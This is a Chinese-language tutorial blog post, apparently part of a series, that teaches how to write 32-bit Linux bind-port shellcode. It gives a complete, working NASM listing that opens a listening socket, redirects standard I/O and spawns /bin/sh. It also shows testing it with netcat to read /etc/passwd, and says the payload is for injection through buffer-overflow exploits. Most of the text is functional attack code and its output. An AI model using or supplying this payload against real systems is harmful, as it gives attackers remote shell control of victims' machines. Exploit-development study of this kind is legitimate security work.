如何編寫綁定端口shellcode

前面《如何編寫本地shellcode》一文介紹如何編寫shellcode取得shell進行交互。本文介紹另一個例子,綁定端口的shellcode。攻擊通過網絡利用緩衝區溢出漏洞,注入該shellcode,那就可以能過shellcode打開的端口進行利用。


Shellcode邏輯C代碼

綁定端口shellcode的邏輯很簡單:打開socket,然後綁定到端口,等待遠程進行鏈接,鏈接到後將0/1/2描述符都複製該socket上,再啓動一個shell。 代碼如下:

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock, cli;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family  = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0xAAAA;

sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0);
}

socket系統調用

上面涉及網絡操作的有幾個函數:socket,bind,listen和accept,其中參數最複雜的算是bind了。其實在i586下面,這幾個均不是系統調用,它們背後的是sockcall這個系統調用,原型爲:

int sockcall(int call, unsigned long *args)

那麼上面幾個函數最終如何調用sockcall的呢? 很簡單,它們是通過call這個參數來識別到底是哪個函數調用,而args就一個數組,每個元素主是上面各函數的參數列表:

比如socket(2, 1, 0) 是這樣調用sockcall的:

int socket(int family, int type, int protocol)
{
unsigned long array[3] = { family, type, protocol);

return sockcall(SYS_SOCKET, array); // SYS_SOCKET值爲1
}

而bind函數調用也是類似的:

int bind(int fd, struct sockaddr *addr, int len)
{
unsigned long array[3] = {fd, addr, len};

return sockcall(SYS_BIND, array); // SYS_BIND值爲2
}

其實函數類似,都是將參數打包成一個數組,然後傳給sockcall系統調用。

開始編寫Shellcode

好,我們開始編寫彙編代碼。由於sockcall系統調用只有2個參數,分別佔用ebx和ecx,那個edx是沒有使用,可以讓存放0值,在需要0的地方直接使用edx.

初始化寄存器

eax, ebx, ecx在彙編代碼中分別表示系統調用號、第一參數和第二參數,需要清零,同時edx需要長期保持爲零。

BITS 32


xor eax, eax
xor ebx, ebx
cdq                   ;將edx清零

編寫socket函數

socket(2, 1, 0) => sockcall(1, [2, 1, 0]) 其中2, 1, 0是數組元素,寬度爲byte。因此分別將0, 1, 2壓到棧上(棧向低地址生成,所以先壓尾巴。

push    edx
push    byte 0x01
push    byte 0x02

此時的棧底就是[2, 1, 0]數組的地址,爲sockcall的第二參數(ecx),故直接將esp值賦給ecx:
mov     ecx, esp

第二參數ebx目前值爲0,需要增加1,才能變成2

inc     bl

sockall系統調用號爲102,需要給eax賦值,然後進行系統調用:

mov     al, 102
int     0x80

系統調用返回後,它的返回值( 後面要使用文件描述符)存放在eax中,由於後面的系統調用要使用eax來存放調用號,因此需要把該sock存放到不使用的寄存器esi中:

mov     esi, eax

bind系統調用

說實話,bind系統調用應該是最難寫的一個了。首先看一下struct sockaddr_in serv_addr 變量地的定義:

struct sockaddr_in {
u16sin_family;                            // 本例賦值爲0x02
u16 sin_port;                               //  本例賦值爲0xAAAA
u32 sin_addr;                              // 本例賦值爲全零,表示本機所有地址
unsigned char sin_zero[8];        // 要求爲全零
};

先壓sin_zero[8],8個字節全零:

push    edx
push    edx

接着是sin_addr,4個字節全零

push    edx

接着是sin_port,2字節,值爲0xAAAA

push    0xAAAA

最後是sin_family,2字節,值爲0x0002,但不能直接push,因此這樣會生成包含零字節指令。借用ebx值爲1,先加1,再壓到棧上:

inc     bl
push    bx     ; 只壓2字節

OK, 整個serv_addr變量壓到棧上了,它的地址爲 esp,先要把該地址保存出來:

mov     ecx, esp

還記得bind是如何調用sockcall的嗎?
sockcall(SYS_BIND, [sock, &serv_addr, 0x10])

剛纔只是將serv_addr壓到棧上,同時將它的地址暫時保存到ecx上,爲了調用sockcall系統調用來實現bind函數,還需要將[sock, &serv_addr, 0x10]  這個數組壓到棧上。記得是從尾巴壓起:

push    byte 0x10           ; 0x10
push    ecx                      ; &serv_addr
push    esi                       ; sock

壓完後,esp就是數組地址,作爲系統調用第二參數,應該保存到ecx中:

mov     ecx, esp

第一參數SYS_BIND值爲2,剛好ebx值也爲2,不需要重新賦值,直接進行系統調用:

mov     al, 102
int     0x80

listen系統調用

最複雜的bind辦妥了,listen只不過是小菜一碟,直接上代碼,加上註釋:

listen(sock, 0)  => sockcall(4, [sock, 0])

push    edx                   ; 0
push    esi                     ; sock
mov     ecx, esp            ;sockcall第二參數,[sock, 0]數組地址
mov     bl, 0x04            ; 4, sockcall第一參數
mov     al, 102
int     0x80

accept系統調用

同樣也比較簡單,請看註釋:

cli = accept(sock, 0, 0)  => cli = sockcall(5, [sock, 0, 0])

push    edx               ; 0
push    edx               ; 0
push    esi                ; sock
mov     ecx, esp       ; [sock, 0, 0]地址,爲sockcall系統調用第二參數
inc     bl                   ; 前一系統調用bl值爲4,加1後爲5,是系統調用第一參數
mov     al, 102
int     0x80

accept返回的是客戶端的fd,後面的dup2操作都是圍繞它來的,需要將該返回值保存出來,在後面的dup2中,該返回值作爲第一個參數,直接將它保存在ebx中:

mov     ebx, eax

dup2系統調用

不用擔心了,dup2是一個標準的系統調用,從它開始,就不需要構造數組做爲參數了,可以鬆一口氣了。爲了減少shellcode長度,使用循環來實現3次的dup2系統調用:



; dup2(cli, 0)
; dup2(cli, 1)
; dup2(cli, 2)

xor     ecx, ecx
mov     cl, 3
loop:
dec     cl
mov     al, 63
int     0x80            ; ecx分別是:2, 1, 0,ebx爲cli
jnz     loop

execve系統調用

還記得之前產生字符串的技巧嗎? 直接將字符串的內容壓到棧上,不要忘了從尾巴壓起,同時要先壓零,讓字符串有結束符:

; execve("/bin/sh", 0, 0)

push    ecx                               ; dup2完後,ecx值爲零,這裏先壓字符串結束符
push    long 0x68732f6e 
push    long 0x69622f2f       ; 這兩句將"//bin/sh"字符串壓到棧上
mov     ebx, esp                     ; 字符串地址,作爲系統調用第一參數,放到ebx
mov     edx, ecx                     ; ecx值已爲零,作爲系統調用第二參數;同時賦給edx,系統調用第三參數
mov     al, 0x0b
int     0x80

完整的編匯代碼

我們將該彙編代碼放到bind.s文件內:

  1. BITS 32  
  2.   
  3. xor eax, eax  
  4. xor ebx, ebx  
  5. cdq  
  6.   
  7. ; soc = sockcall(1, [2, 1, 0])  
  8. push    edx  
  9. push    byte 0x01  
  10. push    byte 0x02  
  11. mov     ecx, esp  
  12. inc     bl  
  13. mov     al, 102  
  14. int     0x80  
  15. mov     esi, eax        ;store the return value(soc)  
  16.   
  17. ; serv_addr.sin_family = 2  
  18. ; serv_addr.sin_addr.s_addr = 0  
  19. ; serv_addr.sin_port = 0xAAAA  
  20. ; bind(sock, (struct sockaddr *)&serv_addr, 0x10)  
  21. ; => sockcall(2, [sock, &serv_addr, 0x10])  
  22. push    edx  
  23. push    edx  
  24. push    edx  
  25. push    0xAAAA  
  26. inc     bl  
  27. push    bx  
  28. mov     ecx, esp  
  29. push    byte 0x10  
  30. push    ecx  
  31. push    esi  
  32. mov     ecx, esp  
  33. mov     al, 102  
  34. int     0x80  
  35.   
  36. ; listen(sock, 0)  
  37. ; => sockcall(4, [sock, 0])  
  38. push    edx  
  39. push    esi  
  40. mov     ecx, esp  
  41. mov     bl, 0x04  
  42. mov     al, 102  
  43. int     0x80  
  44.   
  45. ; cli = accept(sock, 0, 0)  
  46. ; => cli = sockcall(5, [sock, 0, 0])  
  47. push    edx  
  48. push    edx  
  49. push    esi  
  50. mov     ecx, esp  
  51. inc     bl  
  52. mov     al, 102  
  53. int     0x80  
  54. mov     ebx, eax  
  55.   
  56. ; dup2(cli, 0)  
  57. ; dup2(cli, 1)  
  58. ; dup2(cli, 2)  
  59. xor     ecx, ecx  
  60. mov     cl, 3  
  61. loop:  
  62. dec     cl  
  63. mov     al, 63  
  64. int     0x80  
  65. jnz     loop  
  66.   
  67. ; execve("/bin/sh", 0, 0)  
  68. push    ecx  
  69. push    long 0x68732f6e  
  70. push    long 0x69622f2f  
  71. mov     ebx, esp  
  72. mov     edx, ecx  
  73. mov     al, 0x0b  
  74. int     0x80  


編譯和測試


使用nasm編譯器進行編譯:

$ nasm -o bind bind.s

然後使用之前寫的sctest32測試工具進行測試。

運行Shellcode:

$ sctest32 bind

打開一個新端終,通過網絡與Shellcode打開的端口進行連接,然後獲取Shellcode,通過cat /etc/passwd命令獲取系統帳號信息:

$ netcat localhost 43690
cat /etc/passwd                                       <-------------用戶輸入
root:x:0:0:root:/root:/bin/bash                <-------------Shellcode輸出
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
......

只要運行了綁定端口Shellcode,攻擊者主可以通過sh來控制整個系統。

小結

這裏介紹的綁定端口Shellcode沒有什麼新新鮮的玩意,只是i586上的socket/bind/listen/accept不是真正的系統調用,需要做轉換而已。難點是serv_addr結構如何壓在棧空間上。這裏使用的技巧和以前是完全一樣的。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章